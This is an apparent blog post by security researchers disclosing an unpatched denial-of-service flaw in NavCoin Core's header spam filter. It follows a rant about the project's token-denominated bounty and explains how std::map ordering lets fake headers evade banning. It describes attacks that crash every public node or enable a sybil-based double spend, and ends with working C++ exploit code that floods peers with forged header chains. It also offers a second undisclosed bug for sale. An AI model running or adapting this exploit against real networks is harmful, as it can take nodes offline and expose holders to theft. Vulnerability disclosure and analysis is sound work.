Welcome back. Today we will talk about NavCoin. We start with a little rant as we sometimes do when we feel things could have gone better. Then we disclose an unpatched vulnerability in NavCoin Core which was caused by copying and pasting the code from different coin without properly understanding it.

We reached to NavCoin on their disclosure email and Discord in April this year and the first response was reasonable. We have been given a link to their bounty program. So this was OK response, but the bounty was not right for us. It was not as bad as recently published Particl's bug bounty program, but still very much ridiculous. At the time, the price of 1 NAV was about $0.25. Today, it is about $0.10. So you can calculate yourself how tiny the rewards are even for critical bugs. That's why we rejected that. The second option we were given was to create a proposal on their blockchain and let the community voting decide on whether we should be paid directly from the chain or not. It took us as few as three attempts to create a valid proposal because of the broken wallet we used to do that as well as an undocumented format of the proposal that had to be used. But OK, in the end it worked just fine and our proposal was rejected by the community.

We've seen a few basic but common mistakes. Having a bounty in your own token is rarely a good idea. The rewards went down about 60% since we contacted NavCoin. The rewards were small to begin with. Try to hire a blockchain developer or researcher with that budget. We are literally talking about just few hours of work that you can pay for with those amounts. The community vote was very much expected as security fixes that challenge the abilities of their developers do not exactly create the type of hype needed by these communities. It was a good experiment, however. NavCoin is a prime example of how these attempts for decentralized governance through democratic voting are self-destructing and inferior in comparison to meritocratic systems. The whole idea that people should decide about things they do not understand is purely wrong.

As usual, the presented vulnerability is not the only one we found in this code base. The other bug we'd like to mention today has basically the same potential impacts as the one presented below – so it has the same severity and the same attacker's scenarios. Just as usual, it is up for grabs until we publish it on this blog, which may or may not happen. Contact us with your offer if you're interested.

Spam Filter Bypass

Bug type: DoS

Bug severity: 6/10

Scenario 1

Attacker cost: very low

In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on a publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to delete their databases and synchronise the blockchain from scratch. Simply restarting the node will not help. However, should the attacker be persistent, there won't be any public nodes to synchronise from. It can thus be very difficult to recover the network before the bug is fixed and all nodes upgrade to the new version.

Scenario 2

Attacker cost: medium

In this scenario, the attacker buys a nontrivial amount of coins and they also perform a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create the longest chain with just fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending. Also in this case, non-public nodes will be connected to attacker's nodes, so it is possible here to crash them as well.

Description

Fake Stake attack presented a method of denial of service through memory exhaustion, in which the attacker sent a large amount of fake headers to target nodes. We believe this vulnerability was addressed by NavCoin in this commit, where so-called headers spam filter was introduced. This of course is nothing but a copy and paste of Qtum's implementation.

We claim that the fix is insufficient and can be circumvented by an attacker at very little cost. Funnily, it works much better in Qtum than in NavCoin. This shows that you cannot just copy and paste code from someone else and think it will work for you. You need to understand the code you are using and NavCoin developers failed at that.

The spam filter implementation calculates statistics of each node and if an outlier is spotted, the offending node is banned. Statistics are stored in size limited std::map object called points. Size limiting of the points map is done in addPoint function, which is called for every new incoming header, as follows:

void addPoint(int height)

{

// Erace the last element in the list

if(points.size() == maxSize)

{

points.erase(points.begin());

}



…

std::map<int,int> points;

…



maxSize is set to 50. The keys to the map are block header heights, the values are numbers of received block headers at the specific heights. This implementation makes very little sense as it is easy to bypass the filter by sending a sequence of headers that ends at some large height followed by an unlimited number of shorter sequences, which must end more than 50 headers before the last header of the first sequence. In our proof of concept exploit, the first sequence starts at block height -2100 relative to the current chain tip and we send 2000 headers, effectively ending at the relative height -100. Following sequences we start at the same height but only use 1900 headers, thus effectively ending at the relative height -200.

This works because of how std::map works internally – it is an ordered collection and erase function removes not the last element of it (as the comment suggests), but rather the smallest element according to the ordering. So instead of incrementing the values in the map, which is required for this implementation to work, the whole map stays the same all the time except for the smallest element which gets replaced over and over again. This is why we never hit the conditions that could lead to having our attacking node banned.

We leave it to the interested reader to find out the nuance which causes this to be completely broken in NavCoin, while in Qtum it makes much better sense and if we performed the same action against Qtum, we would get banned. Feel free to write the answer to comments below. We may decide to reward the first one who comes with the correct answer (include your bech32 BTC address).

If a header passes the spam filter, it's then easy to pass the validation sequence up to AddToBlockIndex. Once a new block index is added in AddToBlockIndex, it is never released from the memory and it is also written to the database, so restarting the node will not free the resources.

The main code of our exploit implementation follows. This code replaces the original staking code inside of NavCoinStaker function.

uint64_t nTotalFees = 0;



CBlockIndex* pChainTip = chainActive.Tip();

static uint32_t nonce = 1;



CBlockIndex* pindexStart = pChainTip;

for (int i = 0; i < 2100; i++) {

pindexStart = pindexStart->pprev;

}



std::unique_ptr<CBlockTemplate> pblocktemplate(BlockAssembler(Params()).CreateNewBlock(coinbaseScript->reserveScript, true, &nTotalFees, pindexStart));



CKey key;

CPubKey pubKey = pwalletMain->GenerateNewKey();

pwalletMain->GetKey(pubKey.GetID(), key);

std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(pblocktemplate->block);

pblock->nVersion = 1899094527;



for (int j = 0; j < 1000; j++) {

CBlockIndex* pindexPrev = pindexStart;

CBlockHeader block = pblock->GetBlockHeader();

uint32_t nTime = pindexPrev->nTime;



uint256 hashPrevBlock = pindexPrev->GetBlockHash();

std::vector<CBlockIndex*> vBlockIndices;

std::vector<CBlock> vHeaders;



for (int i = 0; i < 2000 - (j > 0) * 100; i++) {

block.hashPrevBlock = hashPrevBlock;

block.nTime = nTime + Params().GetConsensus().nTargetSpacing;

block.nBits = GetNextTargetRequired(pindexPrev, true);

block.nNonce = nonce++;



nTime = block.nTime;



int nHeight = pindexPrev->nHeight;

hashPrevBlock = block.GetHash();



CBlockIndex* pindex = new CBlockIndex(block);

pindex->nHeight = nHeight + 1;

pindex->pprev = pindexPrev;

pindex->BuildSkip();



vBlockIndices.push_back(pindex);

pindexPrev = vBlockIndices.back();



vHeaders.push_back(block);

}



for (auto pindex : vBlockIndices) {

delete pindex;

}



BOOST_FOREACH(CNode* pnode, vNodes) {

pnode->PushMessage(NetMsgType::HEADERS, vHeaders);

}

}



